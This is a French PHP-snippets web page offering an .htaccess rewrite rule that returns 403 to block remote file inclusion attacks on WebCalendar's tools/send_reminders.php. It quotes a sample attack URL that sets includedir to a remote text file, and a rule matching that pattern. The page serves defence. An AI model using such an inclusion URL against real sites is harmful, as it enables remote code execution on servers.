Ressources

PHP 5, 7 et 8+
Avec doc officielle

Eviter les attaques par le script send_reminders.php

Partager sur FaceBook

Information

Votre site est peut-être vulnérable si vous avez WebCalendar.

En effet vous risquez d'être victime d'une attaque par inclusion de code externe (remote file include vulnerability).

Les url à l'origine de ces hacks sont de la forme : http://www.example.om/tools/send_reminders.php?includedir=http://www.sitepourri.com/fichier.txt?

Une petite règle dans le fichier .htaccess vous protégera des hackers en retournant une code 403 (accès interdit) à chaque tentative d'accès.

Forty

25 Mai 2008

Code Source à télécharger

Information sur les mises à jour

Dernière mise à jour :

18 Aout 2019

7 606 vues

Compatibilité du code

PHP 5, PHP 7 et PHP 8

Site internet de l'auteur

code source classé dans .HTACCESS ANTI HACK

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16

                               
                            /*
 Titre : Eviter les attaques par le script send_reminders.php                                                             
                                                                                                                          
 Auteur           : Forty                                                                                                 
 Website auteur   : http://www.toplien.fr/                                                                                
 Date édition     : 25 Mai 2008                                                                                          
 Date mise a jour : 18 Aout 2019
                                                                                         
 Rapport de la maj:                                                                                                       
  - fonctionnement du code vérifié                                                                                  
*/
/*------------------------------*/?>
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(.*&)?includedir=http://
RewriteRule ^(.*/)?tools/send_reminders.php - [F,L]

Autres snippets qui pourraient vous intéresser

23 Juil 2009

[PHP/SQL] Script de pagination (un modèe) - PHP Sources

Compatibilité : PHP 4, PHP 5

Script de pagination en PHP avec 2 requêtes SQL. Caractéristiques : - deux paramétres dans l'URL : nombre d'éléments par page et page actuelle

31 Aout 2019

25 Mai 2008

Exécute une chaine comme un script PHP

Compatibilité : PHP 5, PHP 7, PHP 8

Exécute une chaîne comme un script PHP. Utilisation fortement déconseillée car la fonction eval () autorise l'exécution de code PHP arbitraire.

04 Sept 2019

25 Mai 2008

Initialise le temps d'exécution d'un script php

Compatibilité : PHP 5, PHP 7, PHP 8

2 tests pour apprendre comment utiliser la fonction set_time_limit () et réinitialiser le temps d'exécution d'une partie d'un code.

* Requêtes exécutées avec Recherche Contextuelle

Les derniers scripts PHP / MySQL

CSZ-CMS 1.3.2

Langue
Date	hier
Taille	1 Mo
Catégorie	CMS

HTML Purifier 4.19.0

Langue
Date	hier
Taille	0.41 Mo
Catégorie	Codes

CSV data manipulation 9.28.0

Langue
Date	hier
Taille	0.11 Mo
Catégorie	Codes

Opencart 3.0.4.1

Langue
Date	17 Mars 2026
Taille	19 Mo
Catégorie	Ecommerce

PhpMyFAQ 4.1.0

Langue
Date	16 Mars 2026
Taille	19 Mo
Catégorie	Divers

ZenTao 21.7

Langue
Date	16 Mars 2026
Taille	99 Mo
Catégorie	Divers

Forty

25 Mai 2008

SOURCE Télécharger

Information sur les mises à jour

Dernière mise à jour :

18 Aout 2019

7 606 Vues

Compatibilité du code

PHP 5, PHP 7, PHP 8

Site internet

26 codes

Catégorie : .HTACCESS ANTI HACK

Bloquer l'accès au site pour le navigateur libwww-perl

Bloquer le hacking avec le script errors.php

Bloquer les hackers utilisant le script booth.php

Bloquer les proxy appspot.com

Bloquer les requetes de hacker avec %3Cstring%3E

Corriger la faille touchant mambo via image_upload.php

Empêcher le hack via aedatingCMS.php

Empêcher le hack via gestion_sondage.php

Empêcher le hack via mosConfig_absolute_path

Empêcher le hack via sitemap.php

Empeche le hack via wamp_dir/setup/yesno.phtml

Empecher le hack via admin.php

Empecher le hack via admin_smilies.php

Empecher le hack via bbs.lib.inc.php

Empecher le hack via setup/header.php

Empecher les attaques par include de fichier externe

Eviter la faille de sécurité de Joomla (mosDirectory)

Eviter les attaques par le script send_reminders.php

Inclusion de fichiers distants avec un script de HITWEB

Protection contre la faille de sécurité de info.inc.php

Protection contre la faille de sécurité de stats.inc.php

Protection contre le hack avec 404.php

Sécurisation de votre site avec phpbb (phpbb_root_path)

Se protéger du hacking avec admin.php et include_path

Vulnérabilité par inclusion de fichier distant avec smarty.php

Vulnérabilité touchant webcalendar via tools/send_reminders.php

Catégories générales

Applications [ 11 ]

Banque de données [ 18 ]

Chaines de caractères [ 58 ]

Constantes [ 4 ]

Convertisseurs [ 12 ]

Dates - Heures [ 52 ]

Mail - Emailing [ 14 ]

Fichiers-répertoires [ 53 ]

Fonctions [ 13 ]

Formulaires [ 13 ]

.HTACCESS [ 58 ]

.HTACCESS ANTI HACK [ 26 ]

Images - Graphisme [ 54 ]

Mathématiques [ 46 ]

Navigateurs [ 5 ]

Page par Page [ 5 ]

Prestashop [ 4 ]

Recherches [ 6 ]

Sécurité [ 24 ]

SEO - Référencement [ 13 ]

SQL Tricks [ 6 ]

Statistiques [ 7 ]

Système [ 12 ]

Tableaux - Array [ 34 ]

Tag Cloud [ 4 ]

URL - Liens [ 25 ]

Variables [ 9 ]

Vérificateurs [ 8 ]

Wordpress [ 8 ]